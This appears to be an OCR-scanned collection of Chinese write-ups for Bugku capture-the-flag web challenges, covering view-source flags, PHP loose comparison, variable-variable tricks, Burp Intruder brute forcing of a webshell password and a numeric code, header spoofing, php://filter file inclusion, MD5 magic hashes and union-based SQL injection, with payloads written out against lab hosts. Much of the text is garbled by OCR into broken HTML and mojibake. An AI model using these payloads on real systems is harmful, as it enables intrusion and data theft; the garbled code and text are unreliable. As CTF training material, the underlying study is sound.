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view-source:

<!DOCTYPE html PUBLIC “-//W3C//DTD XHTMI 1.0 Transitional//BEN” “http://www. w3. org/TR/xhtml1
<html xmlns="http:/Sww. w3, ore/ 1999/ xhtml 7>

<head>

{meta http-equiv="Content-Type” content="text/html: charset=utf-8" />

<meta name="viewport” content="width=device-width, hight=device-hizght, mMinimm-scale=1. 0, maximm-scale:

{title>BE-CTF-WEBZ</title>

{style type="text/csz">
body { margin: 0; padding: 0; position: relative: backsround-image: url (imases/xh. jpe): background-pos

</style>

</head>

<body 1d="body” onLoad="init()">

{I!flag KEY {Web—2-bugKssNNikls9100}>

{script type="text/javascript” sre="js/ThresCanvas. js"></script>
{script type="text/javascript” src="jis/Snow. is"r</script>

{geript type="text/javascript”>
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FiFBugKu-ctf

W O==s Dislse DEEE NEE QaREs Onr DEE (DBs | TEsRs 35 WERF @ HackBar @ Cookie Editor

Q HEE HTML
<IDOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.8 Transitional//EN"™ "http://www.w3.org/TR/xhtml1/DTD/xhtmli-transitional.dtd">
<html xmlns="http:/ /www.w3.0rg 1999/ xhtml"> [event
b cheads[w) < /head>

<span id="code" class="code" style="background: rgb(156, 144, 33} none repeat scroll 8% e8X; color: rgb(l57, 191, 63);"»22+34=?</span> |event
E-3=]

<input class="input” ‘type:"te
p-d=]

<butten id="check">HiE«/button: (event
p <div style="text-align:center;"s (= </divx>

<script src="js/jguery-1.12.3.min s fscripts

<script type="text/javascript” src="js/code.js"></script>
</body>

o Ahtml

H1 A AR AR SR AT S A% k), FRATTAT LABE i AT A0S, Bimaxlength k—28, FEEA IR %, Bl 3kHiflag.
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Q 183 HTML

<IpacTyPE html PUBLIC "-//W3C//DTD XHTML 1.8 Transitional//eN"™ "hitp://www.w3.org/TR/xhtml1/0TD/ xhtml1-trans:

<html xmlns="http:// weww.w3.org/1999/xhtml™> |evert

¥ <head> [« </head>

w <body>
<span id="code" class="code” style="background: rgh(7, 74, 94) none repeat scroll eX e%; color: rgh(l19,
F¥5
<input clas

flag{CTF-bugku-0032}

O D= O OmtE NAE Deess O Bee Ous r oesms 8 uFEs @ Hadksar @ Cookie Editor
Q183 HTML

<IDOCTYPE himl PUBLIC

-/ WIC//DTD XHTML 1.8 Transitienal//EN" "hitp://www.w3.org/TR/xhtmli1/0TD/xhtmli-transitional.dtd">
<html xml / |

hitml™>

ead>

w <body>
<span id="code" class="code™ style="background: rgb(7, 74, 94) none repeat scroll X% e%; coler: rgb(119, &9, 28);"»35+38=7</span> |event
E-T=]

<input class="input" type="text" maxlength="1233">
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= 'what'
echo
if =="'flag'

echo 'flag{****}'

PAGET); s P AN 2, A B $whatZ &, Wik $whatds Tflag’, T4 it 2% th it diflag

http://123.206.87.240:8002/get/ ?what-flag

Swhat=%_GET['what];
echo $what:
if{($what=="flag")

echg 'flag {****}"-

flagflag {bughku_get_suBkej2en}
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= 'what'
echo
if =="flag"'

echo 'flag{****}'

PAPOST7 s A NI NS, AP $whatZ &, anlit$whatis Tflag’, T4 ilte ittt diflag
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KNI 22— hackbarsl fburpif AT k0, (4R & what=Flag Rl n] 3k flag

Swhat=%_POST['what'];

echo $what;

if($what=—"flag")

echo 'flag {****}'".
flagflag{bugku_get_ssseint67se}

¥ Oz Dsals ODEds NAEs Oemgss Oue Orr BEg F O=Eis 38 0ERF 8 MaHackBar

| 8 Load URL | http://123.206.87 240:8002/post/
| U Spit URL |

Lo |

¥ Post Data |l Referrer Reverse 4» 4u Base6d e @ Ur & | MD5 & SHA1 & SHA256 4 ROTIS e

Post data what-nag

Writeup:
= "num'’

if(!is_numeric

echo
if ==l
eChO ‘flag{**********}‘

1. GETJ7 st num e & A% 4 i) 4 2%

B ANEAINT, WA ET, PATAURGER
5 MR, $num AR B4 T

Wi LA B4, Hithflag

w0 DN

php LBy CRAHELEL == ), SHMBLZRIHEG L, FEIG A

PAT LA FphpfXid, 2% 458 bool(true)

<?php
var_dump(123=="123asd"');
?>

K JyphpfELL gL HAR A FRS, 55 —AME (123) SBCFEBME R, 158 —AME (‘123asd’) W2oRAR 123" 5 55— MEAH
tt .


http://123.206.87.240:8002/get/index1.php
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var_dump(123=="123’);

M5 7R, A AR R 55 T true:

TRUE FALSE 1 0 -1 e "ge "_1n NULL array() "php" "
TRUE TRUE FALSE TRUE FALSE TRUE TRUE FALSE TRUE FALSE FALSE TRUE FALSE
FALSE FALSE  TRUE FALSE  TRUE FALSE | FALSE|  TRUE FALSE  TRUE TRUE FALSE  TRUE
1 TRUE FALSE TRUE FALSE FALSE TRUE FALSE FALSE FALSE FALSE FALSE FALSE
[¢] FALSE TRUE FALSE TRUE FALSE FALSE TRUE FALSE TRUE FALSE TRUE TRUE
-1 TRUE FALSE  FALSE  FALSE  TRUE FALSE  FALSE  TRUE FALSE  FALSE FALSE  FALSE
1" TRUE FALSE TRUE FALSE FALSE TRUE FALSE FALSE FALSE FALSE FALSE FALSE
"a" FALSE TRUE FALSE TRUE FALSE FALSE TRUE FALSE FALSE FALSE FALSE FALSE
—gI= TRUE FALSE  FALSE  FALSE  TRUE FALSE  FALSE  TRUE FALSE  FALSE FALSE  FALSE
NULL FALSE TRUE FALSE TRUE FALSE FALSE FALSE FALSE TRUE TRUE FALSE TRUE
array() FALSE TRUE FALSE FALSE FALSE FALSE FALSE FALSE TRUE TRUE FALSE FALSE
"php" TRUE FALSE  FALSE  TRUE FALSE  FALSE  FALSE  FALSE  FALSE  FALSE TRUE FALSE
" FALSE TRUE FALSE TRUE FALSE FALSE FALSE FALSE TRUE FALSE FALSE TRVE
IXPE—RIATH AT Lhpayload y:  ?num=1a
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$num=%_GET['num'];
if{!1s_numeric($num))
{
echo $num;

if($num==1)

BCI‘LD rﬂag{“““““}';

g
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ctrl+u BA TP, @R UG 2] — 5 htmiSER b b5

&#75;&#69;&#89;&#123; &#74 ; &#50; &#115 ; &#97 ; &#52; &#50; &#97 ; &#104 ; &#74 ; &#75 ; &H#A5 ; &#72 ; &#83; &#49 ; &#49; &#73; &#73; &#73
;&#125;

alert | "IEEEGIET) ;
alerc ("flacEEREE") ;
alert ("FEHHIA") -
alert ("ElagBitERE") ;
alerc ("REEIE") ;
alert ("flagEiEEE") ;
alerc ("IRIBEIEY) ;
alert ("ElacERiEE") ;
alert ("FEHHIA") -
alert ("ElagBitERE") ;
TreTTTe S
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</head>
</html>
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Unicodeégi3 UTF-84m83 URLERRS/ B UnixBdialEE Ascii/Natives8i3 5% Hex'Ei3/8B5E Htm| 5588/

<!1--KEY{J2sa42ahJK-HS11lll}-->

3 ) HimiDecodeff s IEts

BEH
W 40 flag baidu.com f# 7 123.206.87.240 #fi 5 Flflag
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711123.206.87.240, Fifilburph“ A £1, H5hosti i kflag baidu.com

W Burp Suite Professional w2.0.11beta - Temporary Project - licensed to By Jas502n

Burp Project Intruder Repeater Window Help

[ )ashboar ITarget T: roxy I Intruder I Repeater TSequencer TDecnder TCDmparer TExten.

ntercept T HTTP history TWebSUckets history T Options 1

f Request to http://123.206.87.240:80

l Fomward J l Drop | ' Intercept is on | Action |

J Raw T Headers T Hex ]

GET / HTTP/1.1
Host: flag.baidu.com |

...'.. User-Agent: Mozilla/s.0 (Windows NT 10.0; Wing4; x64; rv:81.0) Gecko/20100101 Firefox/81.0
Bal @ EE Accept: text/html,application/xhtml+xml applicationfxml;q=0.9 image/webp */*;q=0.8
Accept-Language: zh-CN,zh;q=0.8 zh-TW;g=0.7 zh-HK;q=0.5 en-US;q=0.3 en;¢=0.2
Accept-Encoding: gzip, deflate

HHE [

Connection: close
Upgrade-Insecure-Requests: 1

burp & thforward & JECEE 61 )5 R A] & $flag

KEY{DSAHDSIE2ZHDS2211}
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VilalJg— B8 H RBET, 7 burpfi e, 28 ki Blintrderfible, # & null payload k£ .

[ Dashboard I I F'rox‘_\.-l

Intruder | Ilepeater I Sequencer I Decoder I Comparer }’ Extender I Project options I User options I Sglmap | Flow | Reflector ]

1«2« [3 = | .

[Targel I Positions || Payloads | Options ]

@ Payload Sets Start attack

You can define one or more payload sets. The number of payload sets depends on the attack type defined in the Positions tab. Various payload types are available for each payload set, and
each payload type can be customized in different ways.

Payload set: || 1 v Payload count: 20

Payload type: lNuH payloads = Request count: 0

@ Payload Options [Null payloads]

This payload type generates payloads whose value is an empty string. With no payload markers configured, this can be used to repeatedly issue the base request unmaodified.

| ® Generate | 20 payloads |

(U Continue indefinitely

X5 A distart attack T A A, SR et & A8 — MR KA R EEE ., BERFAR A Fifag



http://123.206.87.240:8002/web12/

W intruder attack 2

Attack Save Columns

j Results T Target I Positions T Payloads I Options ]

Filter: Showing all items @
Request l| Payload | Status | Error |'I'|meout| Length | Comment
0 200 O 750 E
1 null 200 [1 [1 749
2 null 200 ] [] |766
3 null 200 O T
4 null 200 | [ 780
5 null 200 0 [] 749
6 null 200 | [ 780
7 null 200 0 [] 749
8 null 200 | [] 766
9 null 200 ] [] 743 =
Request | Response 1
| Raw | Headers | Hex | HTML | Render | SSTVINFO
<meta name="description” cantent=""= i
<meta name="author" content=""> 1
<title=Dummy game</title>
</head>
<script language="JavaScript"=
function myrefresh(j{ N

window.location.reload();

}
setTimeout('myrefresh()’,500);
<fscript=

<body>

<center=<strong=l want to play Dummy game with others€jBut | cant stop!</strong=</center=

<center=Stop at panda ! u will get flag</center>

<center=<dive<img src="10jpg"/=</div=</center=<hr=<a style="display:nond">flag{dummy_game _1s s0_popular}</z

</html=

<fbody=

d

0 matches
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<?php

error_reporting(0);#EHHiRIR &

include "flagl.php";# & flagl. php X1¥F

highlight_file(_ file_ );#&adlm/tiy

if(isset($_GET['args'])){#isset Mt EeE L 5, URA N, BIHAT L FChge,
$args = $_GET['args'];#LIGET izl f£54i#y, IfE F$args &
if(!preg_match("/"\w+$/",%args) ) {#IEMFAC, WHREGILHEIHHIFHE, THITELFCigL59

die("args error!");#i&Hiphp B

b

eval("var_dump($$args);");#eval () B FHFH A PHP (CHIKIT 5. var_dump 29T BI75 5 A2 ) KA

?>

A DU DG R«
TR HHTE A I RFAL, SEALS AR
VLRS54 R AT
w o FORHRILEC RS R AT B A . BAUEASE M T "[A-Za-20-9_]"
INCRE 2
$  RikHAL R

$$: phpHPIANSSHIRE LA A4 &
SargstE NN BRI — AR

Gipun

<?php

$bb = '1';
$aa="bb";
print $$aa;
?>

Wi Eflagle ? T IFRA 1R 2H LT $GLOBALS :
$GLOBALS s&PHP i FilE X4 R A, 5 7 4R h i A A &

payload:

http://123.206.87.240:8004/index1.php?args=GLOBALS

< C A F=E22 | 123.206.87.240:3004/index1.ppplargs=GLOBALS

iR @ weESEERED esdn &5 Microsoft Internet...

flag In the variable ! <7php

error_reportingi0);
include “flagl.php”:
highlight_file(__file__):
if (izzet (§_GET[ argz"])){
$args = $ GET[ args'];
1f (I preg_match ("7 /", $args) ) {
diei"args error!”):
}

eval ("var_dump ($$args) ")
i
ks

array(7) { ["GLOBALS"]= i = T"]=> array(1) { ["args"]=> string(7) "GLOBALS" } ["_COOKIE"]=> array(0) {} ["_FILES"]==> array(0) { }
["ZFkwe3"]=> strlng(SS}l flag{92853051ab894a64f7865cf3c2128b34} I[ args"]== string(7) "GLOBALS" }

web5
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BEVPANS, KBRS N oY

JSPFUCK??2272 7 3B CTF[*****#}

| || submit

O Oz Oesls DEdE NEs (Iesgss Qe O BEE 7 OESRs 35 OERES @ MaxHackBar

S G, TLUE LN AT — Mag:  ctf{whatfk}

»® o=

sl DEtE NREE (Jistess Owe Ors B el TEsis B OFEF ) MaxHackBar 0«

g= 5 \E s XHR K
LU LT T L UL LT LS LU LI Lo 5 LI/ 7L SmEm L7 Lm L L7 70 LI LU I i m L7 LT L7 L 7L L em LI am 70 LI LU T L LS LT LG UL L
( []]*[][[]] [#1+[J3 [+ 111+ (L [IS01) 03[0+ 010+ (LT O (3001 (LIS [D) [+ [T 0]+ 4 111+ L DS LD [+ 1+ [T [+ 1+ (13 [+ 0101+ (3 L=+ [D T CC TSI I+ OIS 00D T 40+ 011+ I+ LD [+ []+ 8 IS+ ID [+ 4[]t *[]]*["[]*[] [+1+[1]]+[ D1+
(1101 [ O DC T ID T+ T+ O MDD [+ O3+ C UL U L1+ 00+ O I+ (D [0 0 DI L+ 0+ 001+ D [T [+ I T HCO T I I [+ 0]+ C LI+ D0+ [+ 00+ (T O+ O+ D [+ 0100 D [0+ 00O O+ D I+
(O DILOID T B L L1 C LI L L T LD LU T LD L L T D11 LD LTI L T LT O T LD B O T L C D L IO T D LT L0 1O T D DL DT T D LT T LD L1 b1 L1 [10)
11D L L LT (T LD [+ LD Lt LT L1 LD L LT LD L LT LI+ L LD L L+ LT T (LT L L LG [ D 0L D O LT D L L (L T LI D [ e T L L T LD L L b 1 (U LI E) L LD L LD L b L1+ (10U 1)
LTI E O O U D LI DO DO O D O I EL OO DD O 0 DD L LD L G UG I O O I 0 OO D DD L O DD I D E
(LD T+ T« [+t [T+ [+ 0013+ CL OT+ DD [+ [T+ e [T+ (L I« LD I+ 100« (DS LD DI+ [0 Lo [+ L+ [T T+ (L LD+ [ [+ (100003 [+ [Tt e[+ Lo LD 0« [T+ DD [+ 000+ (1 LD+ CO0C DD+ DD [+ 000+ ( L DT+ DD LD [+ 2« L]+ [+ [0 0 (LT LD DI+ 1+ b+ L3+ (DD« DD [+ 10« (H L [T [ D [+ Do o]0+
11+ (N[ [« (1IN [+t [+ [+ 1101+ (LTI [+ 1+ TIIDD [+ [T+ Lo [J+ [+ (101 (L[ D e[ ]+ Lo [Jo [+ 1+ (1D [+ 20 [T+ (L ]+ (D (1L D+ L+ (1= 111D O CCOI- DD TCO IO DI DD [+ [T+ L0110+ (L LI+ [ [+ 000+ (L LT[ [+ D10+ [T+ LD [ 1 []+ 2[00 ( L [T+ D1 LD [+ 2+ L]+ [+ 1000+ C 00 C 11+ (1D [+ [0+

M’[]]]*(f[]+[])[‘*[]*—‘*[]]*(ff[]ﬂ]?['[]]*("[]'[])[‘*[]'—‘*[]*‘*[]]*(—"[]'[])[*‘*[]]]*[]?[‘*[]*—‘*[]*“[]]*(‘[]'[])[—‘*[]'“[]*‘*[]]]()[*[]])[*[]]*[“[]*—‘*[]*“[]*—‘*[]'f'[]*‘*[]'f+[]]+([][[]]+[]?[”[]*‘*[]])

LS /I ONGE /S

JSPRUCK??7?2? P& =BT CTR{*****#}

| CTR{WHATFK} || submit

EHEEDEE! 5!

WiH .
http://123.206.87.240:9009/hd.php
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P kAR, UiWIflagfE Pl REAEMR RSk . A burp M 1, ik Frepeaterd i v 41
[ Dashboard ]’Target ]’ Proxy T Intruder TRepeater T Sequencer I Decoder I Comparer ]’ Extender T Project options ]’ User options I Sqglmap ]’ Flow I Reflector ]

1« |
Go Cancel < | > | Targe

Request Response
J Raw T Headers I Hex ] J Raw T Headers I Hex I HTML I Render T SSTVINFO
pET fhd.php HTTP/1.1 : HTTR/.1 200 OK
Host: 123.206.67.240:9009 Server: nginx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; x64; n:82.0) Gecko/20100101 Date: Thu, 22 Cct 2020 11:06:31 GMT
Firefox/82.0 Content-Type: text/html
Accept: text/html application/xhtml+xml application/xml;q=0.9 image/webp *™;q=0.8 Connection: close
Accept-Language: zh-CN zh;q=0.8,zh-TW,q=0.7 zh-HK;q=0.5 en-US;q=0.3 &n;q=0.2 | flag{Bugku_kB_23s_istra}: I
Accept-Encoding: gzip, deflate Content-Length: 139

Caonnection: close
Upgrade-Insecure-Requests: 1
<html=>

<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />

<pre><hr><hre<hrz<bre>fF&4 {i%H . <brz<brs
</html>

o 31t 4

Wt H
http://123.206.87.240:8002/webshell/
B BAH R S T 4 H IR F

Writeup:
SRR R BT, SR )5 R webshellZ il

b =R MR L HE, A webshell 7= L4, LUk Mlwebshell H 5% T 177E 1 >shell.php

[7) PkbscanWebPathBrute 1.6.2 (RIS HRAEELH) - X
SHEED KetpF5iE R AR
giiﬁier - ¥ LIRSt Readdc @ Head  ETIRSEREGRE S [http//123 206,87, 2405002 wuebshell/ | #wiEE [ R |
User—Agent : ;nuzilla/a 0 (Windows NT 10.0; WinBa; x64) Appledeb] INEARE ey FHEL chell pize=ai) iR

Oget S - RTER: 700 axx [J401 A 403 (406 [Jaos []smx [] HEXER l:l S0ER | lBE | # &

Orest  BEEA: (miER FORE

[ s ke HERE: rE: [ Ined | 2 | abedefzhi jilnnoparsturmiyz |
el Fedritht et REHEE
1 http: //123. 206, §7. 240 5002 fwebshell/=hell. php 200

http /123 206 87 240 8002 /v ebshell/nt. pho 14.32% Higmissresy: HEBETHERES15E EEhiEIRd 0

[ T T SV


http://123.206.87.240:8002/webshell/

FII e R R

hitps://blog.csdn.net/weixin_41924764

burp#lel, %% Elintruder 2 A

) Payload Positions Start attack

Configure the positions where payloads will be inserted into the base request. The attack type determines the way in which payloads are assigned to payload positions - see help for full
details.

Attack type: lSﬂiper H
POST iwebshellishell.php HTTR/.1 :
Host: 123.206.67.240:8002

User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; x64; nv:82.0) Gecko/20100101 Firefox/82.0
Accept: text/html application/xhtml+xml,applicationfxml;g=0.9 image/webp */* q=0.8
Accept-Language: zh-CN,zh;q=0.8 zh-TW,q=0.7 ,zh-HIK;q=0.5 en-US;q=0.3 en;q=0.2
Accept-Encoding: gzip, deflate

Referer: http://123.206.87 .240:8002/webshell/shell. php Refresh
Content-Type: application/x-www-form-urlencoded
Content-Length: 9

Crigin: http://123.206.87.240:8002

Connection: close

Upgrade-Insecure-Requests: 1

Pragma: no-cache

Cache-Control: no-cache

pass=§l 23§

% $shellpassword - # 72 1A

® Payload Sets

You can define one or more payload sets. The number of payload sets d
and each payload type can be customized in different ways.

Payload set: l1 H Payload count: 8

Payload type: lSdmpie list H Reqguest count: 8

® Payload Options [Simple list]

This payload type lets you configure a simple list of strings that are usec

Paste 123 i
asdfqwer
1111111
shell »
password
I@#5123123
000000 |

&




[Add from list

PR %505 A hack,  FE HLR [ 77 fEflag
] W Intruder attack 1

Attack Save Columns

LI "L

j Results T Target I Positions T Payloads I Options ]

L

Filter: Showing all items @
! 1y
Request l| Payload | Status | Errar |'I'|meout| Length | Comment
(0 200 | [ 1125
i1 123 200 0 [ 125
iz asdfqwer 200 ] [] 1125
93 1111111 200 0 [ 125
114 shell 200 | [ 1125 I
il 8 passward 200 ] [] 1125
6 l@#3123123 200 0 [ 125
97 000000 200 [ [1 1125
|| 8 ' hack 200 O L 1110
Request | Response 1
| Raw | Headers | Hex | HTML | Render | SSTVINFO
style="width: 350px; height: 80px; margin-top: 50p:x; color: #000000; clear: haoth;"= i
} PASS:<input type="password" name="pass" style="width: 270px;"> r
<fdiv=
_ <div style="width: 350px; height: 80px; clear: both;">
i <input type="submit” value="& 3" style="width: 80px;">
- </div=
A <center>
i pan tula=color rad- "
L flag{hack _bug_ku035} </span= E
</cEmers
<fdiv> h
fa <fform:=
<fcenter=
—<fhody=
</html=

d

0 matches

http://123.206.31.85:1003/
flagh® flag{}

Writeup:
A T EAR, K Hbase642w iy

dGVzdDEyMw==


http://123.206.31.85:1003/

EERRR

Username: | |

Password: | |

Submit Reset

O O DEs DEds NREE (JEsEs O Orr B &8 1 TEsiis B

<himl> |evert
¥ <head> [« </head
w <body>
<hDEEREH M1
p «form method="POST" autoccomplete="off™> - </form>
</body»

</ himl>

<! - _dGVzdDEyMm==-->

baseBA1E £k it ith 4 ik
fER S BB test123
YIRS MDS5HI= /88 URLIDE  JSho/iEm ISEEIEEE ESCAPEI/BEE BASEG4 ERE WS, s, ERURLITES

test123 dGVzdDEyMw==

AHIORE B R RS, NizA Nadminf] 7, K5 %505 admin/test123 o 15 JAHoRip2E LTI .


http://tool.chinaz.com/Tools/Base64.aspx

EHERRR

Username: |

Password: |

Reset

IPEEICTiE, BERASHERREE, IPEFICSE.

KN 223545 4 X-Forwarded-For Header , f&iHull Ny 127.0.0.1

PRI 5 %S, R 2 rflag

IP Address:

127.0.0.1 v

P Address Update

Recently used IPs:

Send the following headers:
X-Forwarded-For

] X-Originating-IP

O %-Remate-IP

O %-Remote-Addr

Submit

web4
B H
EA AT

http://123.206.87.240:8002/web4/

Writeup:

EERIRA

Username: |

Password: |

The flag is: 85ff2ee4171396724bae20c0bd851f6b


http://123.206.87.240:8002/web4/

ARG, AP Brurld i 5 4GS .

BKCTF-WEB4

| || Submit
O O=== Daess DEtE NEAs {(Iasss QOwue Orr B T Dosms 858 AE2s 8 MaxHackBar
Q #EE HTML + X
<html» |event
¥ <head> == </head
v <body»
div display:nene; div
w ¢form actien="1index.php™ method="post™>
EEELET
<br>

LK Teval, HORK IS, 7 Hweb I —fieval TR T 0. FhevallzsuRalert, Kk BEH GIGT. LA
R

67d709b2b54aa2aa648cf6e87a7114f1

O O=F Dass DigkE Nus (JawsEs Ouse Oar Bee W o=mis 30885 & Max HackBar

@ » uncaught Typeerror: document.getelementById(...) is null
<anenymous> http://123.206.87.240:8082/webs/ line 11 > eval:l
<anonymous> http://123.206.87.249:8002/webs/ 11
EE T A

» alert(unescape(pl) + unescape('¥35¥34¥61%61%32° + p2));

€ undefi

» alert(unescape(pl) + unescape( %35%32XEIHE1NI2" + p2));

Rerfrdifess, Bim3kHflag

BERRES?

|aazaas48cf6e87a7114f1| | Submit

KEY{J22JK-HS11}

http://123.206.87.240:8005/post/

Writeup:


http://123.206.87.240:8005/post/

click me? no

M click me? no J&, AILAEF|udtI ?file=show.php , —M%iX

KA 7%

payload:

WL S

A~ HE
=R

I phpth th il st Etindex. php S 4 B

http://123.206.87.240:8005/post/index.php?file=php://filter/read=convert.base64-encode/resource=index.php

Frbaseb4is Elburp AT MY, RIT]3kHflag:

a¥

Calry2hviCJPaCBubyEiOwIKCQlle GIOKCKTDQoJQOKCWIUY 2x17GUoJGZpbGUpOyANCi8vZ mxhZz pmbGFne2VkdWxjbmIfZWsxpZI9s YWNvbF9zaV 9zaWh0fQOKPz4NCjwvaHRtbD4NCg==

® Text () Hex @
Decode as ... ,v.
Encode as ... ,v.

Hash .. |=

l Smart decode J

if(strstr($file,”. /" Istristr(§file, "tp")|stristr(5file."input")||stristr($file."data")}{
echo "Oh no!™;
exit();
}
include(sfile):
fMag-flagiedulcni_elif_lacol_si_siht}

</html=

i N\ % 1A % flag

B
http://123.206.87.240:8002/baopo/
fE# . SeTen

Writeup:

TITFREELH, $RoRMN Shrkiany , AT DURIE 2 R .

BANEEED

55

ERAMEIEEET , FRERIRERR. |

® Text () Hex
Decode as ... ,'.
Encode as ... ,v.

Hash .. |=

L 7 Srnart decode J


http://123.206.87.240:8002/baopo/

FHburpdlel, Ki%Flintruderti B, Arid %54

[ Dashboard ITarget Proxy I Intruder I] Repeater T Sequencer ]’ Decoder T Comparer I Extender T Project options. T User options. }

[Target TPosdams T Payloads T Options ]

@ Payload Positions

Configure the positiens where payloads will be inserted into the base request. The attack type determines the way in which payloads are assigned to payload positiens - see help for full details.

Aftack type: l Sniper

POST hacpolTyes HTTPA A

Host: 123.208.87 240:8002

Content-Length: 9

Cache-Control: max-age=0

Origin: hitp: /M 23.206 57.240:8002

Upgrade-Insecure-Regquests: 1

Content-Type: applicationi-www-form-urlencoded

User-Agent: Mozilla/s.0 (Windows NT £.1; Wing4; x64) AppleWebKit/S37 36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safariis37 36

Accept: texthiml applicationfxhtmi+xm appli \
Referer: http:/i123.206 .87 .240:8002haopol
Accept-Encoding: gzip, deflate
Accept-Language: zh-CM zhg=09

Connection: close

=05 i P, 1g,4*,q=0.8 appli isigned-exchange;v=h3

BEE BN, 0h 37 B

Target | Positions | Payloads T Options ]

@ Payload Sets

“‘ou can define one or more payload sets. The number of payload sets depends on
customized in different ways.

Payload =et: l1 |'r] Payload count: 90,000

Payload type:l |_ Numbers |'] | Request count: 50,000

@ Payload Options [Numbers]

Thiz payload type generates numeric payloads within a given range and in a specifi

Number range

Type: {® Seguential () Random
From: 10000

To: 99599

Step: | 1|

How many:

Number format

Base: ® Decimal () Hex

W

Start attack

T
l—Jng
[—JTH
 Refresh




A UE A DK EA R R B, w5 A U Fiflag

Afttack Sawve Columns

J Results T Target T Positions T Payloads T Options ]

| Fitter: Showing all tems

Reguest | Payioad | Status | Error | Timeout | Length All Comment
[3ﬂm 13579 200 0 0 246 |
] 200 O O 1327
1 10000 200 O o 13z
2 10001 200 O o 13z
3 10002 200 O o 13z
4 10003 200 O o 13z
5 10004 200 O o 13z
6 10005 200 O o 13z
7 10008 200 O o 13z
8 10007 200 O o 13z
9 10008 200 O o 13z
10 10009 200 O o 13z

¥

o o

_[ REWT Headers T Hex T Render ]

HTTPH .1 200 0K

Server: nginx

Date: Fri, 23 Oct 2020 00:53:38 GMT
Content-Type: texthtml

Connection: close

Set-Cookie: isview=13579; expires=Fri, 23-0ct-2020 03:53:38 GMT

Content-Length: 45

flag{bugku-baopo-hah}

=Mhody= |
= ftrml=

:

) < + pS Type a search term

e —

i — = IR

A
http://123.206.87.240:9001/test/

Writeup:
HEVI AT

A AU R

W
http:/123.206.87.240:8002/web 16/
W it 26 iy s T >3 45

Writeup:
8 H $EoRs %A SCF, Vilalindex.php.bak

http://123.206.87.240:8002/webl6/index.php.bak

0 matches

i aaas


http://123.206.87.240:9001/test/
http://123.206.87.240:8002/web16/

d41d8cd98f00b2049800998ecfB427ed41d8cd98f00b204e9800998ecfB427e

A PRAR LA

/**
* Created by PhpStorm.
* User:
* Date: 2017/8/6
20:22

Norse

* Time:

*/

include_once "flag.php"

ini_set("display_errors", );#HtHiR 5K
= strstr 'REQUEST_URI"
= substr 1) ; #php L5 LIO K Z 7 7

(N

= str_replace( ‘'key"

parse_str #ATE T T

echo md5 #5itigkey HIMD5 1E]

echo md5 #Hniigkey 2 FIMDS 15

if(md5 == md5 && lI==
echo " g flag”

1. key R B s, it ASRAT M I XU S Geid
2. phpfAH b gent, w LA 4K MDA i ,

payload:

kekeyyl1=s878926199a&kekeyy2=s155964671a

#t5flag. php X1
1ea
o

IS T
| | index.php.bak

ITEERL:  bak File (378 F70)
FHiB:  http://123.206.87.240:8002

2 E Firefox MIfMRbIEHSr >
O, EFO) | WESE)..
@ FFES)

HRE

#ERUr P TF6 245 FE 171

17, WG IS T F A EA s tr A
#Igstr A likey FHEH B LS

# 1N EMDS (HT4E, IFH Py 1B 1) 515 4 B AN GETAS

FHB A E N BMD5 5 WA ture M{H

HiiE

0e5459932745177090343288558410200e3427684168224515249741172544

9Bugku{OH_YOU_FIND_MY_MOMY?}

i—ai—flag




Writeup:
sqlyd: A\ #it

# LA IE 7
1' and 1=1#

BEES

1'and 1=1#

1 and 1=1%

Submit

%)) 2N e

English

Chinese

60

60

70

# T JHH
1' and 1=2#

RS

1'and 1=2#

Submit

AIRkER R

English

Chinese

#order by il kI H41FE
1' order by 4#

#I A7
1' and 1=2 union select 1,2,3,4#



http://123.206.87.240:8002/chengjidan/

A=PI=orS = )

1" and 1=2 union select 1,2,3,4#

Submit

189 SRR

#EH R THIT R
1' and 1=2 union select 1,group_concat(table _name),3,4 from information_schema.tables where table_ schema=databas
e()#

#E M F1Ag R TN 7 B4
1" and 1=2 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='fl4g"'#

#E R FTE A2
1' and 1=2 union select 1,group_concat(skctf_flag),3,4 from flag#

1,2,3... ‘

Submit

1RIRERER

BUGKU(Sql_INJECTON_4813drd8hz4} 3 4

44 122 m AL

H
http://123.206.87.240:8002/qgiumingshan/
fe A AL R IE .

Writeup:
SR EA TR AR

FEE2sHITEEE N EERE D
547248220%2116017191+1792870446*1385831585-529835880%1229699035-1462227343%1426003442%2138924760%2076191233-1582014829=7;

B LA H payload I B4 f S5 2, SRS AN S22 BIAR 55 4%


http://123.206.87.240:8002/qiumingshan/

import requests,base64

url="http://123.206.87.240:8002/web6/"
data="margin"

s=requests.Session()

rl = s.get(url=url)

flag = baseb4.b64decode(rl.headers| 'flag']).split(":")[1].strip(" ")

flagl = base64.b64decode(flag)
r2 = s.post(url=url,data={data:flagl})
print r2.text

2 LE T oy

W EE AR

s

br LS S I A
http://123.206.87.240:8002/web6/
H4 20 KE Y{o000000000000K)

Writeup:

TR H G, burpdlltl, KikFIRepeaterfith, 7T LA FIAH RN AL I —Mlag B im i Sk

GET /webB/ HTTR/M 1

Host: 123.206.87.240:8002

User-Agent: Mozilla/5.0 (Windows NT 10.0; WinB4; x64; n:82.0) Gecko/20100101
Firefox/82.0

Accept: text/html application/xhtml+xml application/xml;q=0.9 image/webp *f*;q=0.8
Accept-Language: zh-CM,zh;q=0.8,zh-TW,q=0.7 ,zh-HK;q=0.5 en-US;q=0.3 en;q=0.2
Accept-Encoding: gzip, deflate

Connection: close

Cookie: PHPSESSID=s0qoainul8amfod078697 nfhfcflk2ere
Upgrade-Insecure-Requests: 1

X-Forwarded-For: 127.0.0.1

HEEIRAE, 5{Fflagld: NTQ2ZNTED

A
-

HTTP/1.1 200 OK

Sernver: nginx

Date: Fri, 23 Oct 2020 02:55:14 GMT

Content-Type: text/html;charset=utf-3

Connection: close

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Contraol: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Fragma: no-cache

maq: BLeRS5gEBL+YELINGZSZTT yMST uZ5L2gZmxhZ+\WapzogTIRRMKSURTA= |
Content-Length: 89

</hr= R B AR A< - O now you have to post the margin what you find >

6LeR55qEBL+YSLINGZSZTTyM57uZ5 L 2gZmxhZ+WQpzogTIRRMKSURTA=

BELY coscotom l Basch B o

B=ER


http://123.206.87.240:8002/web6/
http://tool.chinaz.com/Tools/Base64.aspx

HIATHR sidrgo)a K Biflag Xk 1
